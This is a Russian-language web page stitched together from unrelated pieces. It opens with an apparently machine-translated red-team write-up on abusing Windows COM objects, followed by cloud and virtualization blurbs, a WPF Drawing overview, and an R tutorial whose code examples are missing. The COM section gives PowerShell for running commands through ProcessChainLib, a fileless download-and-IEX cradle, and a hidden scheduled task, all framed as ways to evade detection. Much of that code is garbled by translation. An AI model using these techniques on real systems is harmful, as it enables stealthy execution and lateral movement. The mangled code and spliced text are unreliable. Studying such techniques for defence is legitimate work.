Какую роль играют объекты в среде Windows

Обновлено: 28.06.2024

В последнее время COM-объекты использовались тестировщиками на проникновение, Red Teams и злоумышленниками для бокового перемещения. COM-объекты в прошлом изучались несколькими другими исследователями, в том числе Мэттом Нельсоном (enigma0x3), который опубликовал об этом сообщение в блоге в 2017 году. Некоторые из этих COM-объектов также были добавлены в проект Empire. Чтобы улучшить практику Red Team, FireEye провел исследование доступных COM-объектов в операционных системах Windows 7 и 10. Было обнаружено несколько интересных COM-объектов, которые позволяют планировать задачи, загружать и выполнять без файлов, а также выполнять команды. Хотя сами по себе они не являются уязвимостями безопасности, использование этих объектов может использоваться для предотвращения обнаружения на основе поведения процесса и эвристических сигнатур.

Что такое COM-объект?

Согласно Microsoft, «Модель компонентов Microsoft (COM) — это независимая от платформы, распределенная, объектно-ориентированная система для создания двоичных программных компонентов, которые могут взаимодействовать. COM – это базовая технология для Microsoft OLE (составные документы), ActiveX (интернет-компоненты), а также других продуктов".

COM был создан в 1990-х годах как независимый от языка стандарт двоичной совместимости, который позволяет отдельным модулям кода взаимодействовать друг с другом. Это может происходить в рамках одного процесса или между процессами, а распределенная COM (DCOM) добавляет сериализацию, позволяющую выполнять удаленные вызовы процедур по сети.

Термин «COM-объект» относится к разделу исполняемого кода, который реализует один или несколько интерфейсов, производных от IUnknown. IUnknown — это интерфейс с 3 методами, которые поддерживают подсчет ссылок во время жизни объекта и обнаружение дополнительных интерфейсов. Каждый COM-объект идентифицируется уникальным двоичным идентификатором. Эти 128-битные (16-байтовые) глобально уникальные идентификаторы обычно называются GUID. Когда GUID используется для идентификации COM-объекта, это CLSID (идентификатор класса), а когда он используется для идентификации интерфейса, это IID (идентификатор интерфейса). Некоторые идентификаторы CLSID также имеют удобочитаемые текстовые эквиваленты, называемые ProgID.

Поскольку COM является стандартом двоичного взаимодействия, объекты COM предназначены для реализации и использования на разных языках. Хотя они обычно создаются в адресном пространстве вызывающего процесса, существует поддержка их запуска вне процесса с межпроцессным взаимодействием, передающим вызов, и даже удаленно от машины к машине.

Реестр Windows содержит набор ключей, которые позволяют системе сопоставлять CLSID с базовой реализацией кода (в DLL или EXE) и, таким образом, создавать объект.

Методология

Раздел реестра HKEY_CLASSES_ROOT\CLSID предоставляет всю информацию, необходимую для перечисления COM-объектов, включая CLSID и ProgID. CLSID — это глобальный уникальный идентификатор, связанный с объектом класса COM. ProgID — это удобная для программиста строка, представляющая базовый CLSID.

Список CLSID можно получить с помощью следующих команд Powershell на рис. 1.

New-PSDrive -Реестр PSProvider -Root HKEY_CLASSES_ROOT -Name HKCR
Get-ChildItem -Path HKCR:\CLSID -Name | Выберите -Пропустить 1 > clsids.txt

Рисунок 1. Перечисление CLSID в HKCR

Вывод будет похож на рисунок 2.

Рисунок 2:Сокращенный список CLSID из HKCR

Мы можем использовать список CLSID для создания экземпляров каждого объекта по очереди, а затем перечислить методы и свойства, предоставляемые каждым COM-объектом. PowerShell предоставляет командлет Get-Member, который можно использовать для простого перечисления методов и свойств объекта. На рис. 3 показан сценарий PowerShell для перечисления этой информации. Там, где это было возможно, в этом исследовании использовались стандартные привилегии пользователя, чтобы получить представление о доступных COM-объектах в наихудшем сценарии отсутствия административных привилегий.

$Position = 1
$Filename = "win10-clsid-members.txt"
$inputFilename = "clsids.txt"
ForEach($CLSID в Get-Content $inputFilename) Write-Output "$($Position) - $($CLSID)"
Write-Output "----------- -------------" | Out-File $Filename -Append
Write-Output $($CLSID) | Out-File $Filename -Append
$handle = [activator]::CreateInstance([type]::GetTypeFromCLSID($CLSID))
$handle | Получить член | Out-File $Filename -Append
$Position += 1
>

Рис. 3. Сценарий PowerShell, используемый для перечисления доступных методов и свойств

Если вы запустите этот скрипт, ожидайте некоторых интересных побочных эффектов, таких как запуск произвольных приложений, зависание системы или зависание скрипта. Большинство этих проблем можно решить, закрыв запущенные приложения или завершив запущенные процессы.

Вооружившись списком всех идентификаторов CLSID, а также методов и свойств, которые они предоставляют, мы можем начать поиск интересных COM-объектов.Большинство COM-серверов (код, реализующий COM-объект) реализованы в DLL, путь которой хранится в разделе реестра, например. под InprocServer32. Это полезно, поскольку для понимания недокументированных COM-объектов может потребоваться обратное проектирование.

В Windows 7 было пронумеровано в общей сложности 8 282 COM-объекта. В Windows 10 было представлено 3250 новых COM-объектов в дополнение к тем, что были в Windows 7. Объекты COM, не принадлежащие Microsoft, как правило, не использовались, поскольку нельзя с уверенностью ожидать их присутствия на целевых машинах, что ограничивает их полезность для операций Red Team. Выбранные объекты Microsoft COM из Windows SDK были включены в исследование с целью изучения компьютеров разработчиков.

После того, как участники были получены, для быстрого получения результатов использовался подход к поиску на основе ключевых слов. В целях этого исследования использовались следующие ключевые слова: выполнить, исполнить, создать, запустить и запустить.

Одним из примеров был COM-объект ( WatWeb.WatWebObject ) в Windows 7. Этот COM-объект предоставлял метод с именем LaunchSystemApplication, как показано на рис. 4.

WatWeb.WatWebObject методы, включая интересные LaunchSystemApplication метод


Рис. 4. Методы WatWeb.WatWebObject, включая интересный метод LaunchSystemApplication

Запись InprocServer32 для этого объекта была установлена ​​на C:\windows\system32\wat\watweb.dll, которая является частью системы проверки ключа продукта Microsoft Windows Genuine Advantage. Метод LaunchSystemApplication ожидал три параметра, но этот COM-объект не был хорошо задокументирован, и потребовался обратный инжиниринг, а это означало, что пришло время покопаться в ассемблере.

После того как C:\windows\system32\wat\watweb.dll загружен в ваш любимый инструмент (в данном случае IDA Pro), пришло время найти, где определен этот метод. К счастью, в данном случае Microsoft предоставила отладочные символы, что сделало реверс-инжиниринг гораздо более эффективным. Глядя на разборку, LaunchSystemApplication вызывает LaunchSystemApplicationInternal, который, как можно предположить, вызывает CreateProcess для запуска приложения. Это показано в псевдокоде декомпилятора Hex-Rays на рисунке 5.

Псевдокод Hex-Rays, подтверждающий, что LaunchSystemApplicationInternal вызывает СоздатьПроцессW


Рисунок 5. Псевдокод Hex-Rays, подтверждающий, что LaunchSystemApplicationInternal вызывает CreateProcessW

Но позволяет ли этот COM-объект создавать произвольные процессы? Аргумент, передаваемый CreateProcess, контролируется пользователем и получается из аргументов, переданных в функцию. Однако обратите внимание на вызов CWgpOobWebObjectBaseT::IsApprovedApplication перед вызовом CreateProcess. Псевдокод Hex-Rays для этого метода показан на рисунке 6.

Псевдокод Hex-Rays для метода IsApprovedApplication


Рисунок 6. Псевдокод Hex-Rays для метода IsApprovedApplication

Управляемая пользователем строка проверяется на соответствие определенному шаблону. В этом случае строка должна соответствовать slui.exe . Кроме того, управляемая пользователем строка затем добавляется к системному пути, а это означает, что необходимо, например, заменить настоящий slui.exe, чтобы обойти проверку. К сожалению, проверка, проведенная корпорацией Майкрософт, ограничивает полезность этого метода как средства запуска процессов общего назначения.

В других случаях выполнение кода было простым. Например, класс ProcessChain с CLSID, реализованный в C:\Program Files (x86)\Windows Kits\10\App Certification Kit\prchauto.dll . Этот COM-класс можно легко проанализировать, не заглядывая в списки дизассемблирования, поскольку prchauto.dll содержит ресурс TYPELIB, содержащий библиотеку COM-типов, которую можно просмотреть с помощью Oleview.exe. На рис. 7 показана библиотека типов для ProcessChainLib со свойством CommandLine и методом Start. Start принимает ссылку на логическое значение.

Библиотека типов для ProcessChainLib, отображаемая в интерфейсе Язык определения от Oleview.exe


Рис. 7. Библиотека типов для ProcessChainLib, отображаемая на языке определения интерфейса с помощью Oleview.exe

На основании этого можно запускать команды, как показано на рис. 8.

$handle = [activator]::CreateInstance([type]::GetTypeFromCLSID("E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E"))
$ handle.CommandLine = "cmd /c whoami"
$handle.Start([ref]$True)

Рисунок 8. Использование COM-сервера ProcessChainLib для запуска процесса

Перечисление и изучение COM-объектов таким образом выявило и другие интересные находки.

Безфайловая загрузка и выполнение

В примере на рис. 9 наш код выполняется локально:

$o = [активатор]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221")); $o.Open("GET", "http://127.0.0.1/payload", $False); $o.Отправить(); IEX $o.responseText;

Планирование задач

Другой пример — реализация класса Schedule.Service для работы службы планировщика заданий Windows. Этот COM-объект позволяет привилегированным пользователям планировать задачу на узле (включая удаленный узел) без использования двоичного файла schtasks.exe или команды at.

$TaskName = [Guid]::NewGuid().ToString()
$Instance = [activator]::CreateInstance([type]::GetTypeFromProgID("Schedule.Service"))
$Instance.Connect()
$Folder = $Instance.GetFolder("\")
$Task = $Instance.NewTask(0)
$Trigger = $Task.triggers.Create( 0)
$Trigger.StartBoundary = Convert-Date -Date ((Get-Date).addSeconds($Delay))
$Trigger.EndBoundary = Convert-Date -Date ((Get-Date). addSeconds($Delay + 120))
$Trigger.ExecutionTimelimit = "PT5M"
$Trigger.Enabled = $True
$Trigger.Id = $Taskname
$Action = $ Task.Actions.Create(0)
$Action.Path = «cmd.exe»
$Action.Arguments = «/c whoami»
$Action.HideAppWindow = $True
>$Folder.RegisterTaskDefinition($TaskName, $Task, 6, "", "", 3)

ПРОЦЕСС $Date.Touniversaltime().tostring("u") -replace " ","T"
>
>

Рисунок 10. Планирование задачи

Заключение

COM-объекты очень мощные, универсальные и интегрированы с Windows, что означает, что они почти всегда доступны. COM-объекты можно использовать для подрыва различных шаблонов обнаружения, включая аргументы командной строки, ведение журнала PowerShell и эвристические обнаружения. Оставайтесь с нами во второй части этой серии блогов, так как мы продолжим рассматривать охоту на COM-объекты.

Организациям требуются системы виртуализации, которые не только поддерживают различные типы приложений, но и упрощают ИТ-инфраструктуру.

Виртуализация приносит экономию средств и экономит время ИТ-специалистам, которые курируют роботов-роботов. Для эффективной реализации требуется облачная среда.

Администраторы часто сравнивают Xen и KVM как варианты с открытым исходным кодом. Основными факторами, которые следует учитывать при выборе основного гипервизора, являются организационные факторы.

Чтобы добиться высокой доступности и отказоустойчивости в AWS, ИТ-администраторы должны сначала понять различия между двумя моделями.

Amazon ECS и EKS похожи, но их различий достаточно, чтобы выделить их для пользователей AWS. Узнайте, что лучше всего подходит для вашего .

Новые дополнения к системам хранения, такие как гибкие блочные тома и высокая доступность для ZFS, делают облачную платформу Oracle более конкурентоспособной.

Хороший дизайн базы данных необходим для удовлетворения потребностей обработки в системах SQL Server. На вебинаре консультант Коэн Вербек предложил .

Базы данных SQL Server можно переместить в облако Azure несколькими способами. Вот что вы получите от каждого из вариантов .

В отрывке из этой книги вы познакомитесь с методами LEFT OUTER JOIN и RIGHT OUTER JOIN и найдете различные примеры создания SQL.

ИТ-администраторам, рассматривающим возможность перехода на Windows 11, следует узнать, как функции версии Enterprise могут помочь их .

Последняя сборка для разработчиков Windows 11 позволяет открывать несколько папок в приложении для управления файлами. Предполагается, что эта функция .

Администраторам настольных компьютеров следует обратить внимание на собственные функции безопасности и архитектуру Windows 10, чтобы установить базовый уровень настольных компьютеров.

Перенаправление папок может поддерживать среду виртуального рабочего стола с перемещаемыми профилями, предоставляя пользователям единообразие при .

Люди, использующие виртуальный рабочий стол VMware на смартфонах и планшетах Samsung, могут получить доступ к Windows как на устройстве, так и на .

Организациям с виртуальными рабочими столами следует планировать свою стратегию управления профилями, и одним из ключевых компонентов является профиль .

В этом разделе представлены объекты Drawing и описано, как их использовать для эффективного рисования фигур, растровых изображений, текста и мультимедиа. Используйте объекты Drawing при создании картинок, рисовании с помощью DrawingBrush или использовании визуальных объектов.

Что такое объект рисования

Объект Drawing описывает видимое содержимое, например фигуру, растровое изображение, видео или строку текста. Разные типы рисунков описывают разные типы контента. Ниже приведен список различных типов объектов рисования.

VideoDrawing — воспроизводит аудио- или видеофайл.

DrawingGroup — рисует другие рисунки. Используйте группу рисунков, чтобы объединить другие рисунки в один составной рисунок.

Объекты рисования универсальны; существует множество способов использования объекта Drawing.

Вы можете отобразить его как изображение с помощью DrawingImage и элемента управления Image.

Его можно использовать с DrawingBrush для рисования объекта, например фона страницы.

Вы можете использовать его для описания внешнего вида DrawingVisual.

Вы можете использовать его для перечисления содержимого визуального элемента.

WPF предоставляет другие типы объектов, способных рисовать фигуры, растровые изображения, текст и мультимедиа. Например, вы также можете использовать объекты Shape для рисования фигур, а элемент управления MediaElement предоставляет еще один способ добавления видео в ваше приложение. Итак, когда следует использовать объекты Drawing? Когда вы можете пожертвовать функциями уровня фреймворка, чтобы получить преимущества в производительности, или когда вам нужны функции Freezable. Поскольку объекты Drawing не поддерживают макет, ввод и фокус, они обеспечивают преимущества в производительности, что делает их идеальными для описания фона, картинок и низкоуровневого рисования с визуальными объектами.

Поскольку они являются объектом типа Freezable, объекты Drawing получают несколько специальных функций, в том числе следующие: их можно объявлять как ресурсы, совместно использовать несколько объектов, делать доступными только для чтения для повышения производительности, клонировать и делать потокобезопасными. . Дополнительные сведения о различных функциях объектов Freezable см. в разделе Обзор объектов Freezable.

Нарисовать фигуру

Чтобы нарисовать фигуру, вы используете GeometryDrawing. Свойство Geometry геометрического рисунка описывает фигуру, которую нужно нарисовать, свойство Brush описывает, как следует рисовать внутреннюю часть фигуры, а свойство Pen описывает, как следует рисовать ее контур.

В следующем примере объект GeometryDrawing используется для рисования фигуры. Форма описывается GeometryGroup и двумя объектами EllipseGeometry. Внутренняя часть фигуры закрашивается кистью LinearGradientBrush, а ее контур рисуется черным пером.

В этом примере создается следующий объект GeometryDrawing.

 Геометрический рисунок двух эллипсов


Геометрический рисунок

Полный пример см. в разделе Создание GeometryDrawing.

Другие классы Geometry, такие как PathGeometry, позволяют создавать более сложные формы путем создания кривых и дуг. Дополнительные сведения об объектах геометрии см. в разделе Обзор геометрии.

Дополнительные сведения о других способах рисования фигур, не использующих объекты Drawing, см. в разделе Фигуры и базовое рисование в обзоре WPF.

Нарисовать изображение

Чтобы нарисовать изображение, вы используете ImageDrawing. Свойство ImageSource объекта ImageDrawing описывает изображение для рисования, а его свойство Rect определяет область, в которой рисуется изображение.

В следующем примере изображение рисуется в виде прямоугольника с координатами (75,75) размером 100 на 100 пикселей. На следующем рисунке показан ImageDrawing, созданный в примере. Была добавлена ​​серая рамка, чтобы показать границы ImageDrawing.

Изображение 100 на 100, нарисованное в (75,75)


Рисунок изображения 100 на 100

Дополнительную информацию об изображениях см. в разделе Обзор изображений.

Воспроизвести мультимедиа (только для кода)

Хотя вы можете объявить VideoDrawing на расширяемом языке разметки приложений (XAML), вы можете загружать и воспроизводить его мультимедиа только с помощью кода. Чтобы воспроизвести видео на расширяемом языке разметки приложений (XAML), используйте вместо этого элемент MediaElement.

Чтобы воспроизвести аудио- или видеофайл, вы используете VideoDrawing и MediaPlayer. Существует два способа загрузки и воспроизведения мультимедиа. Первый — использовать MediaPlayer и VideoDrawing сами по себе, а второй — создать собственную MediaTimeline для использования с MediaPlayer и VideoDrawing.

При распространении мультимедиа с помощью приложения нельзя использовать медиафайл в качестве ресурса проекта, как изображение. Вместо этого в файле проекта вы должны установить для типа носителя значение Content и установить для CopyToOutputDirectory значение PreserveNewest или Always .

Чтобы воспроизвести мультимедиа без создания собственной MediaTimeline, выполните следующие действия.

Создайте объект MediaPlayer.

Используйте метод Open для загрузки медиафайла.

Укажите размер и место для рисования мультимедиа, установив свойство Rect объекта VideoDrawing.

Установите свойство Player для VideoDrawing с помощью созданного вами MediaPlayer.

Используйте метод Play проигрывателя MediaPlayer, чтобы начать воспроизведение мультимедиа.

В следующем примере используются VideoDrawing и MediaPlayer для однократного воспроизведения видеофайла.

Чтобы получить дополнительный контроль времени над мультимедиа, используйте MediaTimeline с объектами MediaPlayer и VideoDrawing. MediaTimeline позволяет указать, должно ли видео повторяться. Чтобы использовать MediaTimeline с VideoDrawing, выполните следующие действия:

Объявите MediaTimeline и задайте ее временные характеристики.

Создайте MediaPlayer и используйте MediaClock для установки его свойства Clock.

Создайте VideoDrawing и назначьте MediaPlayer свойству Player для VideoDrawing.

В следующем примере используется MediaTimeline с MediaPlayer и VideoDrawing для многократного воспроизведения видео.

Обратите внимание, что при использовании MediaTimeline вы используете интерактивный ClockController, возвращаемый из свойства Controller объекта MediaClock, для управления воспроизведением мультимедиа вместо интерактивных методов MediaPlayer.

Нарисовать текст

Для рисования текста используются GlyphRunDrawing и GlyphRun. В следующем примере объект GlyphRunDrawing используется для рисования текста «Hello World».

GlyphRun — это низкоуровневый объект, предназначенный для использования в сценариях представления и печати документов фиксированного формата. Более простой способ вывести текст на экран — использовать Label или TextBlock. Дополнительные сведения о GlyphRun см. в разделе Введение в обзор объекта GlyphRun и элемента Glyphs.

Композитные рисунки

Группа рисунков позволяет объединять несколько рисунков в один составной рисунок. Используя DrawingGroup, вы можете объединять фигуры, изображения и текст в один объект Drawing.

В следующем примере DrawingGroup используется для объединения двух объектов GeometryDrawing и объекта ImageDrawing. В этом примере выводится следующий результат.

 DrawingGroup с несколькими рисунками


Композитный рисунок

Группа рисования также позволяет применять к ее содержимому маски непрозрачности, преобразования, растровые эффекты и другие операции. Операции DrawingGroup применяются в следующем порядке: OpacityMask, Opacity, BitmapEffect, ClipGeometry, GuidelineSet, а затем Transform.

На следующем рисунке показан порядок применения операций DrawingGroup.

Порядок операций группы рисования


Порядок операций DrawingGroup

В следующей таблице описаны свойства, которые можно использовать для управления содержимым объекта DrawingGroup.

< td> Прикрепляет содержимое DrawingGroup к области, которую вы описываете с помощью Geometry. Пример см. в разделе Как вырезать рисунок .
Свойство Описание Иллюстрация
OpacityMask Изменяет непрозрачность выбранных частей содержимого DrawingGroup. Пример см. в разделе Как управлять непрозрачностью рисунка. Группа рисования с маской непрозрачности
Непрозрачность Единообразно изменяет непрозрачность содержимого DrawingGroup. Используйте это свойство, чтобы сделать чертеж прозрачным или частично прозрачным. Пример см. в разделе Как применить маску непрозрачности к рисунку. DrawingGroups с различными настройками непрозрачности
BitmapEffect Применяет BitmapEffect к содержимому DrawingGroup. Пример см. в разделе Как применить BitmapEffect к рисунку. DrawingGroup с BlurBitmapEffect
ClipGeometry DrawingGroup с определенной областью отсечения
GuidelineSet Привязывает независимые от устройства пиксели к пикселям устройства в соответствии с указанными рекомендациями. Это свойство полезно для обеспечения резкости отображения мелкодетальной графики на дисплеях с низким разрешением. Пример см. в разделе Применение набора рекомендаций к чертежу. Группа рисования с набором направляющих и без него
Преобразование Преобразует содержимое DrawingGroup. Пример см. в разделе Как применить преобразование к рисунку. Повернутая группа рисования

Отображение рисунка как изображения

Чтобы отобразить рисунок с элементом управления "Изображение", используйте DrawingImage в качестве источника элемента управления "Изображение" и задайте для свойства DrawingImage.Drawing объекта DrawingImage рисунок, который вы хотите отобразить.

В следующем примере используются DrawingImage и элемент управления Image для отображения GeometryDrawing. В этом примере выводится следующий результат.

 Геометрический рисунок двух эллипсов


Рисунок

Нарисовать объект с помощью рисунка

Кисть для рисования — это тип кисти, которая закрашивает область с помощью объекта рисования. Вы можете использовать его для рисования практически любого графического объекта с помощью рисунка. Свойство Drawing объекта DrawingBrush описывает его Drawing. Чтобы визуализировать Drawing с помощью DrawingBrush, добавьте его в кисть, используя свойство Drawing кисти, и используйте кисть для рисования графического объекта, например элемента управления или панели.

В следующих примерах кисть DrawingBrush используется для рисования заливки прямоугольника узором, созданным на основе GeometryDrawing. В этом примере выводится следующий результат.

Мозаичная кисть для рисования


GeometryDrawing, используемый с DrawingBrush

Класс DrawingBrush предоставляет различные параметры для растягивания и мозаичного размещения содержимого. Дополнительные сведения о DrawingBrush см. в разделе «Рисование с помощью изображений, рисунков и визуальных элементов».

Визуализация рисунка с визуальным элементом

DrawingVisual — это тип визуального объекта, предназначенный для визуализации рисунка. Работа непосредственно на визуальном уровне — это вариант для разработчиков, которые хотят создать графическую среду с широкими возможностями настройки, и в этом обзоре он не рассматривается. Дополнительные сведения см. в разделе «Обзор использования объектов DrawingVisual».

Объекты DrawingContext

Класс DrawingContext позволяет наполнять визуал или чертеж визуальным содержимым. Многие такие низкоуровневые графические объекты используют DrawingContext, поскольку он очень эффективно описывает графическое содержимое.

Хотя методы рисования DrawingContext кажутся похожими на методы рисования типа System.Drawing.Graphics, на самом деле они очень разные. DrawingContext используется с графической системой с сохраненным режимом, а тип System.Drawing.Graphics используется с графической системой с немедленным режимом. Когда вы используете команды рисования объекта DrawingContext, вы фактически сохраняете набор инструкций рендеринга (хотя точный механизм хранения зависит от типа объекта, предоставляющего DrawingContext), который позже будет использоваться графической системой; вы не рисуете на экране в режиме реального времени. Дополнительные сведения о том, как работает графическая система Windows Presentation Foundation (WPF), см. в разделе Обзор визуализации графики WPF.

Вы никогда не создаете экземпляр DrawingContext напрямую; однако вы можете получить контекст рисования из определенных методов, таких как DrawingGroup.Open и DrawingVisual.RenderOpen.

Перечисление содержимого визуального элемента

Помимо прочего, объекты Drawing также предоставляют объектную модель для перечисления содержимого визуального элемента.

В следующем примере метод GetDrawing используется для извлечения значения DrawingGroup объекта Visual и его перечисления.

В следующем руководстве представлены основные сведения об использовании R в среде Windows.

Запуск/прерывание/завершение

Если вы хотите установить R на свой персональный компьютер (ПК), внимательно следуйте инструкциям по установке и использованию.

Запуск R

После того как вы установили R на свой компьютер, просто откройте пакет, чтобы начать. RGui должен немедленно открыться. Если не указано иное, все команды, приведенные в этом руководстве, записываются в командном окне (в Windows оно называется консолью R). Это окно должно быть открыто в RGui после запуска R в Windows. Изображение приведено ниже. В отличие от R в Unix, доступно редактирование командной строки, что упрощает внесение изменений в команды по мере их ввода. Вы также можете сохранить свои команды в конце сеанса. Для этого просто щелкните левой кнопкой мыши в меню «Файл» и выберите «Сохранить в файл». . Это показано на рисунке ниже.

ropen

Затем вы можете сохранить все свои команды в файле, расположенном в выбранной вами папке. Это показано на рисунке ниже.

rsave

Если вы запускаете интенсивную программу, вы можете запустить ее в ПАКЕТНОМ режиме, только если у вас установлен Perl (и в вашем пути).

Прерывание R

Чтобы прервать команду R, используйте кнопку Esc, чтобы остановить выполнение команды. Это вернет вас к приглашению R.

Выход из R

Чтобы выйти из R, введите: > q() или просто закройте пакет R. Когда вы выйдете из R, вас спросят, хотите ли вы сохранить изображение рабочей области. Образ рабочей области включает в себя все объекты, созданные в этом сеансе. Если вы ответите "да", все созданные вами объекты будут сохранены и будут доступны при следующем запуске R. Если вы ответите "нет", все объекты будут удалены.

Чтобы изменить место хранения изображения рабочей области, щелкните левой кнопкой мыши на Изменить каталог. до выхода из R. Это показано на изображении ниже.

rwork

Затем вы можете просмотреть свои каталоги, чтобы определить, где вы хотите сохранить изображение рабочей области. Это позволяет использовать несколько изображений рабочего пространства и полезно, если вы работаете над разными проектами. В следующий раз, когда вы запустите R и захотите, чтобы объекты были связаны с конкретным проектом, вы должны будете таким же образом перейти в каталог, где хранится образ рабочей области.

Внимание! Не рекомендуется полагаться на сохранение изображения рабочей области, чтобы все объекты были сохранены и готовы к следующему сеансу R. Например, вы можете перезаписать конкретный объект и потом не вспомнить, как этот объект был получен. Как правило, рекомендуется сохранять команды, выбрав Сохранить в файл. в меню Файл. В этом случае все объекты можно будет легко ввести в будущие сеансы R. Следующий учебник используется для предоставления базового введения в R в среде Windows. Дополнительные сведения о проблемах, которые могут возникнуть при использовании R в среде Windows, см. в разделе часто задаваемых вопросов.

Получение помощи

Как получить справку по определенной команде R

Вы можете ввести любой из

чтобы получить справку по команде журнала.

В Windows вы также можете щелкнуть меню «Справка». Щелкнув левой кнопкой мыши по функциям R (текст). вариант, вы можете затем ввести команду, по которой вам нужна помощь. Это показано ниже.

rhelp

Как получить список файлов справки для всех типов команд R: > help.start() для запуска окна справки с помощью Netscape.

Это также способ перечислить все команды R. В Windows вы также можете щелкнуть меню «Справка», а затем щелкнуть левой кнопкой мыши параметр справки HTML, как показано ниже.

rhelp

При этом также откроется окно справки в вашем браузере.

Другие способы получить помощь в R

Вы также можете найти дополнительную информацию в руководствах по R или в часто задаваемых вопросах. Доступ к ним можно получить из Интернета по следующим ссылкам:

Чтобы получить доступ к руководствам или часто задаваемым вопросам R непосредственно из R в Windows, вы можете просто щелкнуть меню «Справка», щелкнуть левой кнопкой мыши параметр «Часто задаваемые вопросы» или «Руководства» и выбрать из списка руководств.

rhelp

Обратите внимание: если вы не знаете команду в R, по которой вам нужна помощь, описанные выше методы поиска в файлах справки R соответствующей информации по конкретному вопросу (в большинстве случаев) бесполезны.

Выполните поиск определенной темы в R, используя группы новостей Google. Обратите внимание, что ключевое слово R не особенно полезно при указании в Google, поскольку оно является общим. Поскольку в большинстве случаев Splus и R очень похожи, поиск в Google с использованием Splus вместо R, скорее всего, даст некоторую информацию.

Прежде всего, если вы чего-то не знаете о R, спросите у того, кто может знать!

Математические расчеты

Вы можете использовать R для многих математических вычислений. Обратите внимание, что обычное использование квадратных скобок рекомендуется, если в этом нет необходимости, для больших математических выражений.

Сложение/вычитание

Умножение/деление

Умножение мощности

эквивалентно

Логарифмы

Экспоненты

Тригонометрические функции

чтобы увидеть список всех функций. Обратите внимание, что углы указаны в радианах, поэтому, если вы хотите, чтобы sin был равен 90 градусам, введите:

Значение NA

NA — это значение, которое R использует для отсутствующего или неопределенного значения. Например, введите:

Управление изображением рабочей области

Образ рабочей области включает в себя все объекты R, созданные вами в текущем и, возможно, других сеансах R. Объект R — это любой вектор, матрица, список и т. д., которым вы присвоили определенное имя. Например, предположим, что вы набрали:

Тогда x теперь является объектом, который находится в изображении рабочей области.

Список объектов с изображения рабочей области

Чтобы просмотреть объекты на изображении рабочей области, введите:

Удаление объектов с изображения рабочей области

Чтобы удалить объект x из изображения рабочей области, введите:

Чтобы удалить все объекты с изображения рабочей области, введите:

Импорт/экспорт данных

Следующая информация представляет собой базовое введение в импорт и экспорт данных в R и из него. Дополнительные сведения см. в руководстве «Импорт/экспорт данных R», которое можно найти на веб-сайте R Project.

Импорт данных из внешнего файла ascii

Для чтения данных из внешнего файла ascii (текстового файла) в R и сохранения их в объекте R можно использовать несколько функций. Однако, если данные хранятся в другом формате (например, в электронной таблице Excel), вы можете использовать приложение, в котором данные хранятся (например, Excel), для экспорта данных в текстовый файл.

Функция scan будет считывать данные в вектор или список из консоли или файла ascii. Чтобы увидеть, как это делается, сначала создайте файл «file1.txt» в каталоге, в котором вы запускаете R. В Windows это означает, что вы должны изменить свой рабочий каталог на каталог, в котором находится «file1.txt». in. Вы можете сделать это, просто щелкнув левой кнопкой мыши в меню File и выбрав Change dir. .

Например, предположим, что текстовый файл "file1.txt" содержит следующую информацию о весе десяти предметов.

Чтобы отсканировать данные из "file1.txt" в вектор x, введите:

для получения дополнительной информации о доступных параметрах.

Функция read.table будет читать файл ascii (текстовый файл) в формате таблицы и создавать из него фрейм данных. Формат таблицы означает, что строки в файле соответствуют случаям, а столбцы в файле соответствуют переменным. Заголовок может быть (или не быть) включенным в файл, указывающим имя переменной в каждом столбце. Фрейм данных используется в большинстве программ моделирования R и по своей природе похож на матрицы и списки.

Мы можем прочитать данные из файла "file1.txt" во фрейм данных x, используя функцию read.table. Чтобы увидеть, как это делается, сначала создайте файл «file1.txt» в каталоге, в котором вы запускаете R. Например, предположим, что текстовый файл «file1.txt» содержит следующую информацию о весе и возрасте из десяти предметов.

Чтобы отсканировать данные из "file1.txt" в вектор x, введите:

для получения дополнительной информации о доступных параметрах.

Импорт данных из текстового файла на веб-страницу

Вполне вероятно, что вместо файла ascii, сохраненного в каталоге, в котором вы используете R, импортируемый файл может существовать на веб-странице. Используя любую из приведенных ранее команд для импорта данных (например, scan, read.table), файл также можно импортировать, указав URL-адрес в качестве имени файла.

Чтобы импортировать этот набор данных в R, используя URL-адрес в качестве имени файла, просто введите:

Экспорт данных

Для записи объекта R во внешний файл ascii (текстовый файл) можно использовать несколько функций.

Функция write записывает матрицу или вектор в указанное количество столбцов. Чтобы увидеть, как это делается с матрицей x, сначала поместите матрицу x в R, набрав:

Чтобы записать матрицу x, чтобы каждый столбец отображался в виде строки в текстовом файле, введите:

В качестве альтернативы, если вы хотите, чтобы каждая строка в матрице x отображалась как строка в текстовом файле, введите:

Функция write.table запишет фрейм данных (после преобразования его во фрейм данных, если он еще не создан) во внешний ASCII-файл (текстовый файл). Записи в каждой строке (строке) разделены значением 'sep;. Значением по умолчанию для sep является пробел. Это делается для объекта x2, набрав:

В этом случае объект записывается в файл file3.txt, который теперь должен находиться в директории, в которой вы запускаете R.

для получения дополнительной информации о доступных параметрах. Обратите внимание, что функция write.table может работать медленно для фреймов данных, содержащих сотни столбцов. Функция write.matrix в пакете MASS является более эффективным способом решения этой проблемы, если экспортируемый объект может быть представлен в виде числовой матрицы.

Функции

Функции R используются для предоставления пользователям запрограммированных процедур для ряда статистических и нестатистических процедур. В R доступно множество функций. Все основные функции являются частью пакета BASE. Однако другие функции являются частью других пакетов, которые необходимо загрузить. Если вам нужно написать свою функцию, это тоже возможно.

Функции R, доступные через дополнительные пакеты

Функции, являющиеся частью пакета BASE, доступны при вызове R.Некоторые функции R могут быть недоступны при первом вызове R и доступны при указании других дополнительных пакетов. Если вы не знаете, является ли функция частью пакета BASE или нет, просто введите:

Если помощь не предоставляется, проверьте правильность написания или вы нашли функцию, которая не является частью пакета BASE. Обратитесь к списку пакетов, приведенному на домашней странице R, чтобы увидеть список различных доступных дополнительных пакетов. Нажмите на любой пакет, чтобы увидеть список функций, которые являются частью этого пакета. Для получения более подробной информации обратитесь к разделу 5 часто задаваемых вопросов в документации на домашней странице R. Предположим, вы хотите использовать функцию survreg. Эта функция доступна в пакете выживания. Чтобы загрузить пакет, введите: Теперь вы сможете использовать функцию survreg. Другой способ загрузить пакет выживания в Windows — щелкнуть левой кнопкой мыши в меню «Пакеты». Появится изображение, показанное ниже.

rpack

Щелкните левой кнопкой мыши на Загрузить пакет. . Это даст вам список различных пакетов, которые вы можете загрузить. Выберите пакет выживания, а затем щелкните левой кнопкой мыши на кнопке ОК. Теперь вы сможете использовать функцию survreg.

Вы можете узнать, какие функции предоставляет пакет, набрав

Как писать свои собственные функции

Вот простой пример создания собственной функции.

